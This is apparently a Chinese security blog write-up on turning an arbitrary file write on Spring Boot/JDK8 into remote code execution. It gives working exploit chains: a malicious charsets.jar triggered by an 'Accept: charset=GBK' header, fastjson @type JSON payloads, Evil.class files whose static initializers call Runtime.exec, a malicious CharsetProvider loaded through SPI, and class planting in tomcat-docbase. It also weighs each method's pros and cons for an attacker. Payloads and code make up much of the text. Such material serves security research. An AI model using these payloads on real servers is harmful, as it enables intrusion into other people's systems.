spring原生场景(charsets.jar)
现在生产环境部署 spring boot 项目一般都是将其打包成一个 FatJar,即把所有依赖的第三方 jar 也打包进自身的 app.jar 中,最后以 java -jar app.jar 形式来运行整个项目。
运行时项目的 classpath 包括 app.jar 中的 BOOT-INF/classes 目录和 BOOT-INF/lib 目录下的所有 jar,因此无法在其运行的时候往 classpath 中增加文件。
所以提出了这样一个解决办法:通过往系统classpath(JAVA_HOME/jre/lib/)添加一个jar文件(该jar文件不会在启动时被调用,而是执行某些特定操作才会被调用),执行特定操作,初始化jar文件,造成RCE。
LandGrey师傅找到了这样一个jar文件:/jre/lib/charsets.jar,如果程序代码中没有Charset.forName(“GBK”);类似的操作,那么该jar文件就不会被调用。
环境参考:https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks?tab=readme-ov-file
在springweb中,有这样一个方法:org.springframework.web.accept.HeaderContentNegotiationStrategy#resolveMediaTypes

获取Accept头部,并通过MediaType.parseMediaTypes调用
随后会来到MimeTypeUtils#parseMimeTypeInternal方法

简单来说,该方法就是对传入的字符串进行一个键值的解析,然后传入MimeType中


调用checkParameters方法

触发Charset.forName(value);
利用方式
1 2 3 4 5
   | GET / HTTP/1.1 Host: localhost:18081 Accept: text/html;charset=GBK
 
 
   | 
 


缺点如下:
1 2 3 4 5
   | 1,需root权限。不过好在现在docker/k8s横行,springboot服务大多数都是root权限。 2,charsets.jar加载仅一次机会。如果之前有用户使用过charset=GBK之类的加载过charsets.jar,不管是正常还是恶意的,该方法都会失效。如果该方式已经失效的情况下,你写的charsets.jar又不完整,还可能会导致服务挂掉。 3,完整的charsets.jar比较大,不过测试时不需要完整charsets.jar。 4,jdk目录需要猜测,需要字典。 5,仅jdk8或者以下适用。jdk9开始使用了模块化,不再存在charsets.jar
   | 
 
fastjson场景(charset&class)
charset
高版本中,java.nio.charset.Charset这个类在白名单中,所以可以使用如下payload进行RCE
1 2 3 4 5 6 7 8 9
   | POST /fastjson HTTP/1.1 Host: localhost:18081 Content-Type: application/json Content-Length: 74
  {         "@type":"java.nio.charset.Charset",         "val":"500"     }
   | 
 


classes
也可以通过上传class文件,然后通过期望类的方法RCE(https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/)
Evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | import java.io.IOException;
 
 
 
  public class Evil implements AutoCloseable {
      static {         try {             Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");         } catch (IOException e) {             e.printStackTrace();         }     }
      @Override     public void close() throws Exception {
      } }
   | 
 
上传至JAVA_HOME/jre/classes目录(如果不存在就创建一个),然后发送payload
1 2 3 4
   | {     "@type":"java.lang.AutoCloseable",     "@type":"Evil" }
  | 
 
mac上复现:
将fastjson版本切换为1.2.68

但是这种方法只能使用一次,第二次失效,只能重启
原理:
由于双亲委派的机制,类的加载顺序会先从Bootstrap ClassLoader(sun.boot.class.path)的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader(java.ext.dirs)的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。
我们可以通过代码查看一下Bootstrap ClassLoader的加载路径:

这里是D:\jdk_8u161\classes,那么我们在尝试加载Evil类的时候,首先就会去D:\jdk_8u161\classes查找有没有这个类,有的话直接加载,没有再继续向下
1 2 3 4 5 6 7 8 9
   | 优点如下 1,多次机会写入,Evil写坏了就写Evil2/Evil3 2,写入文件不大。 缺点如下 1,需root权限。 2,jdk目录需要猜测。 3,仅jdk8或者以下适用,jdk9的ClassLoader变动,不再尝试载入该文件夹。 4,默认不存在classes目录,需要创建 5,需触发入口,不像charsets.jar那样可以header触发。
   | 
 
classes+SPI
Charset.forName原理
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | public static Charset forName(String charsetName) {     Charset cs = lookup(charsetName);     if (cs != null)         return cs;     throw new UnsupportedCharsetException(charsetName); } private static Charset lookup(String charsetName) {     if (charsetName == null)         throw new IllegalArgumentException("Null charset name");     Object[] a;     if ((a = cache1) != null && charsetName.equals(a[0]))         return (Charset)a[1];                    return lookup2(charsetName); } private static Charset lookup2(String charsetName) {     Object[] a;     if ((a = cache2) != null && charsetName.equals(a[0])) {         cache2 = cache1;         cache1 = a;         return (Charset)a[1];     }     Charset cs;     if ((cs = standardProvider.charsetForName(charsetName)) != null ||         (cs = lookupExtendedCharset(charsetName))           != null ||         (cs = lookupViaProviders(charsetName))              != null)     {         cache(charsetName, cs);         return cs;     }
           checkName(charsetName);     return null; }
  | 
 
最后在lookup2方法处,有三个加载charsetName的调用
1 2 3
   | standardProvider.charsetForName(charsetName) lookupExtendedCharset(charsetName) lookupViaProviders(charsetName)
   | 
 
前两种方式都是内置的provider模式,无价值,看一下lookupViaProviders方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | return AccessController.doPrivileged(                 new PrivilegedAction<Charset>() {                     public Charset run() {                         for (Iterator<CharsetProvider> i = providers();                              i.hasNext();) {                             CharsetProvider cp = i.next();                             Charset cs = cp.charsetForName(charsetName);                             if (cs != null)                                 return cs;                         }                         return null;                     }                 });
 
   | 
 
这里会将providers()方法的返回结果赋值给Iterator<CharsetProvider> i,而providers方法就是一个SPI的调用

那我们就可以创建一个META-INF,里面存在一个含恶意provider的文件即可
Evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | import java.io.IOException; import java.nio.charset.Charset; import java.util.HashSet; import java.util.Iterator;
 
 
 
  public class Evil extends java.nio.charset.spi.CharsetProvider {
      @Override     public Iterator<Charset> charsets() {         return new HashSet<Charset>().iterator();     }
      @Override     public Charset charsetForName(String charsetName) {                  if (charsetName.startsWith("Evil")) {             try {                 Runtime.getRuntime().exec("open -a Calculator");             } catch (IOException e) {                 e.printStackTrace();             }         }         return Charset.forName("UTF-8");     } }
 
   | 
 


tomcat-docbase
springboot会在/tmp目录生成tomcat-docbase文件夹,本质相当于tomcat的根目录,因此加载类时还会尝试加载/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/目录下的类。
还是和classes的方法一致,将Evil.class放到/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/下,然后运行相同的payload即可
复现过程:



Evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | 
 
 
 
  import java.io.IOException;
  public class Evil extends Exception {     public Evil() {     }
      static {         try {             Runtime.getRuntime().exec("touch /tmp/ycx");         } catch (IOException var1) {             throw new RuntimeException(var1);         }     } }
 
 
  | 
 
1 2 3 4 5 6
   | 1,无需root权限 2,不限于jdk8,jdk11下测试成功 缺点如下 1,tomcat-docbase带随机后缀,无法爆破,只能配合目录读取 2,WEB-INF/classes目录需要创建 3,触发时直接Class.forName(clazz)是不行的,必须要特定classloader,比如Thread.currentThread().getContextClassLoader()。
   |